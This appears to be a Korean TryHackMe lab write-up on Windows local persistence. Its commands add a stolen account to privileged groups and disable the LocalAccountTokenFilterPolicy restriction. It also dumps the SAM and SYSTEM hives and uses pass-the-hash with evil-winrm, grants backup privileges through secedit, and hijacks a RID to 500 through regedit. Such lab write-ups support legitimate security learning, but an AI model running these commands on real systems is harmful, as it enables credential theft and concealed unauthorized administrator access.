본문 바로가기

Play/THM

Windows Local Persistence (1)

Persistence : 침투 후 지속적으로 타겟에 접근할 수 있도록 하는 기술

* 참고 : MITRE ATT&CK

 

 

TASK 2. 타 계정의 권한 조작

지속성을 얻는 가장 쉬운 방법은 "관리자의 크리덴셜을 얻는 것" 이다.

다만, 블루팀 측에서 탐지하기 어렵게 하기 위해, 타 계정을 조작하여 관리자의 권한을 부여하는 방법을 사용할 것이다.

 

※ 가정 : 타겟 컴퓨터의 패스워드 해시를 덤프, 계정의 비밀번호를 성공적으로 크랙함 (Administrator)

※ kali에서 타겟으로 접속할 때 evil-winrm 툴을 사용한다.

evil-winrm -i {TARGET IP} -u user1 -p Password1234

 

2.1 Assign Group Memberships

2.1.1 administrators 

# cmd 
net localgroup administrators user0 /add

위와 같이 administrators 그룹에 user0 계정을 추가하면, RDP , WinRM  등 원격 관리 서비스를 사용하여 서버에 접근할 수 있다.

그러나 너무 노골적이다.

 

 

2.1.2 Backup Operators 

# cmd
net localgroup "Backup Operators" user1 /add

Backup Operators 그룹
이 그룹의 사용자에게 관리자 수준의 권한은 없지만, 구성된 DACL을 무시하고 시스템의 모든 파일 또는 레지스트리 키를 읽고 쓸 수 있다.

→ SAM 및 SYSTEM 레지스트리 복사 가능

→ 모든 사용자의 비밀번호 해시를 복구 가능

→ 관리용 계정으로 쉽게 에스컬레이션 가능

 

Backup Operator 그룹은 관리자 수준의 권한이 없으므로, RDP 또는 WinRM으로 접근하기 위해서는 권한을 주어야 한다.

# cmd
net localgroup "Remote Management Users" user1 /add

 

그러나 바로 user1 계정으로 접속해도 시스템의 모든 파일에 접근할 수는 없다.

현재 Backup Operators 그룹에 속해있으나, 그룹이 비활성화되어 있음

이는 UAC(User Access Contorl) 때문이다.

UAC에서 구현된 기능 중 하나인 `LocalAccountTokenFilterPolicy` 는 원격 로그인 시 로컬 계정의 관리 권한을 제거한다.

GUI 세션에서는 UAC 창을 통해 권한을 높일 수 있지만, WinRM를 통해 접근한 경우 관리 권한이 제한되어 있다.

 

이런 상황을 해결하기 위해서는.. user1 계정으로 접근하기 전, LocalAccountTokenFilterPolicy를 비활성화 해주어야 한다.

# cmd
 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

 

다시 kali에서 접속하여 그룹 확인 시, Backup Operators 그룹이 활성화되어 있음을 확인할 수 있다. 

✅ 지속성 확보 완료

 

[추가] 주요 레지스트리 하이브 탈취 (HKLM/SYSTEM, HKLM/SAM)

a. kali를 통해 접속한 타겟 시스템에서,  SAM 및 SYSTEM 파일을 백업하고  공격자의 컴퓨터에 다운로드

# kali > target system PS

reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak

b. secretsdump.py 툴을 이용해 해당 파일을 덤프한 뒤,  Pass-the-Hash를 수행하면 원격 로그인 가능함

 # kali
 
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
... [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
(생략)

evil-winrm -i {TARGET IP} -u {USERNAME} -H {nthash}

 


2.2 Special Privileges and Security Descriptors

참고 : Backup Operators 

 

그룹 멤버십을 수정하지 않고도 Backup Operators 그룹에 사용자를 추가하는 것과 유사한 결과를 얻는 방법이 있다. 

 

Backup Operators과 같은 특수 그룹은 OS가 특수 권한을 할당하는데, 이를 이용하는 것이다.

- SeBackupPrivilege: DACL을 무시하고 시스템의 모든 파일을 읽을 수 있음

- SeRestorePrivilege: DACL을 무시하고 시스템의 모든 파일을 쓸 수 있음

 

그룹에 상관없이 모든 사용자에게 이런 권한들을 할당할 수 있다. 

# cmd
# /export: 시스템 보안 설정을 내보내는 옵션
# /cfg config.inf: 내보낼 설정을 포함하는 구성 파일(config.inf)을 지정
secedit /export /cfg config.inf


user2 사용자를 추가한 뒤, 수정한 구성을 다시 시스템에 로드한다.

# cmd
# /import: 시스템 보안 설정을 가져오는 옵션
# /cfg config.inf: 가져올 설정이 포함된 구성 파일(config.inf)을 지정
# /db config.sdb: 가져온 설정을 저장할 데이터베이스 파일(config.sdb)을 지정
secedit /import /cfg config.inf /db config.sdb

# /configure: 시스템 보안 설정을 구성하는 옵션
# /db config.sdb: 설정을 저장할 데이터베이스 파일(config.sdb)을 지정
# /cfg config.inf: 구성 파일(config.inf)을 지정하여 설정을 데이터베이스에 적용
secedit /configure /db config.sdb /cfg config.inf

 

 

여기까지 하면 Backup Operators와 동일한 권한을 가진 상태가 된다.

이제 Remote Management Users 그룹에 추가하는 것과 같이 조치를 취해야 한다.

이를 위해 winRM의 보안 식별자 구성을 변경할 것이다.

# PS
# Set-PSSessionConfiguration : 원격 PowerShell 세션 구성을 변경하고 설정하는 데 사용
# -Name :  변경하려는 원격 세션 구성의 이름을 지정
# -showSecurityDescriptorUI : 세션 구성의 보안 디스크립터를 편집할 때 UI를 표시하도록 설정
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

UI에서 user2를 추가해준다.

 

그리고 주어진 권한을 완전히 사용하여 작업하기 위해 LocalAccountTokenFilterPolicy를 비활성화한다.

# cmd
 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

 

user1과 다르게 그룹은 users뿐이다.

 


 

2.3 RID Hijacking

일부 레지스트리 값을 변경하여 운영 체제에서 사용자를 관리자로 인식하도록 하는 방법이다.

사용자가 생성되면 RID 가 해당 사용자에게 할당되는데, 기본 관리자 계정에는 500 이 할당되고 일반 사용자는 일반적으로 1000 이상의 값을 가진다.

 

# cmd
wmic useraccount get name,sid

rid는 sid의 마지막 비트이다.

 

원하는 계정(user3)에 rid 500을 할당할 것이다. 이를 위해 SAM을 수정해야 하는데, SAM은 SYSTEM 계정만 수정할 수 있다.(관리자도 불가능함)

그래서 PsExec.exe 툴을 이용한다.

 

# cmd
# PsExec64.exe 파일 필요
PsExec64.exe -i -s regedit

 

HKLM\SAM\SAM\Domains\Account\Users\ 

위 경로로 이동하여 원하는 계정의 rid를 수정한다.

user3의 rid는 1010로, 이를 16진수로 변경하면 0x03F2이다.

 

F 값의 바이너리를 확인하면, 0x30 위치에 rid가 존재한다.

이를 관리자의 rid인 500(=0x01F4)로 변경한다. 참고로 리틀엔디안이니 반대로 작성할 것.

 


이제 user3으로 접속하면 시스템이 해당 계정을 관리자로 인식하여 administrator로 접속된다.

'Play > THM' 카테고리의 다른 글

Windows Local Persistence (3)  (0) 2023.09.25
Windows Local Persistence (2)  (0) 2023.09.25
THM Offensive Pentesting - Gamezone  (0) 2023.07.20
THM Offensive Pentesting - HackPack  (0) 2023.07.19
THM Offensive Pentesting - Alfred  (3) 2023.07.18